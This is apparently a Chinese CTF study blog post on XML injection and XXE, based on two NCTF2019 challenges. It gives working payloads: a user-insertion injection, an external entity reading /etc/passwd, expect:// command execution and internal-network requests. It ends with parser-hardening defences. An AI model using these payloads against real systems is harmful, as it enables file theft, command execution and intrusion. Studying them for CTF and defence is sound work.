XML注入
作者:互联网
XML注入
复现使用的题目为buuoj中的[NCTF2019]Fake XML cookbook
1和[NCTF2019]True XML cookbook
1
参考链接为https://xz.aliyun.com/t/6887#toc-5,写的很全面,写的比我好多了,本篇是用于个人整理知识,同时分享一些心得。
XML介绍
XML和html相对,xml专注于数据格式的传输,而html专注于数据的展示。
基本格式
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore> <!--根元素-->
<book category="COOKING"> <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title> <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author> <!--book的子元素-->
<year>2005</year> <!--book的子元素-->
<price>30.00</price> <!--book的子元素-->
</book> <!--book的结束-->
</bookstore> <!--bookstore的结束-->
这份xml文件用于记录的元素为bookstore,这个元素有一个子元素,为book,book有几个属性。
xml作为一种标记语言,需要注意的是闭合框。这些框说明了各个元素的逻辑关系。
DTD
文件的规范,约束文件的内容。
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)><!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)><!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)><!--定义body元素为”#PCDATA”类型-->
]>
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
有点像提前交代了一些信息,同时对文件内容做补充。
DTD可以从外部引用
本地
<!DOCTYPE 根元素名称 SYSTEM "dtd路径">
网络
<!DOCTYPE 根元素 PUBLIC "DTD名称" "DTD文档的URL">
注入
插入用户
<?xml version="1.0" encoding="utf-8"?>
<manager>
<admin id="1">
<username>admin</username>
<password>admin</password>
</admin>
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
在这个地方,如果username或password字段是可控的,就可以通过闭合尖括号来直接插入用户
假如password字段可控:
<manager>
<admin id="1">
<username>admin</username>
<password>【admin</password>
</admin>
<admin id="666">
<username>hacker</username>
<password>haha</password>
</admin>】
<admin id="2">
<username>root</username>
<password>root</password>
</admin>
</manager>
这里方括号内的是我们注入的部分,可以看到我们直接硬填了一个用户进入数据库。
XML外部实体注入(XXE)
任意文件读取
这里需要用到刚刚所说的外部引用DTD。我们将想要读的文件作为外部DTD读入,然后在回显部位选择DTD元素的地址,即可拿到想要的文件内容。
E.g
<?xml version="1.0" encoding="utf-8" ?>
<!DOCTYPE hack [
<!ENTITY haha SYSTEM "file:///etc/passwd">
]>
<user>
<username>&haha;</username>
<password>hack</password>
</user>
我们声明了一个实体,名字叫做haha,然后这个实体的内容在这个/etc/passwd里捏哈哈( ̄y▽ ̄)╭ Ohohoho.....
然后这个例子中,如果你登陆失败,他是会回显,【username】登陆失败。所以我们在这个username字段选择这个haha实体的位置,然后就会回显出我们要的内容了。
命令执行
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<root>
<name>&xxe;</name>
</root>
使用了expect伪协议,需要php带有相关扩展。
内网攻击
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE xxe [
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "http://127.0.0.1:80/payload" >]>
<root>
<name>&xxe;</name>
</root>
可以从解析xml的主机中转,向内网的机器发请求。
这里可以从主机的这两个文件探测内网信息
/etc/hosts 静态映射
/proc/net/arp arp表
防御措施
这里也搬一下大哥的,感觉简单实用
- 通过开发语言的方法,禁止使用外部实体
php:
libxml_disable_entity_loader(true);
java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
-
过滤用户提交数据
关键字,如<!DOCTYPE 和 <!ENTITY -
不允许XML文件含有自行定义的DTD
即不准中间定义,感觉这个方法是最好的,只允许从特定的文件读取DTD,不允许中间插入定义,一了百了。
标签:XML,文件,xml,admin,haha,DTD,注入 来源: https://www.cnblogs.com/AikN/p/15760003.html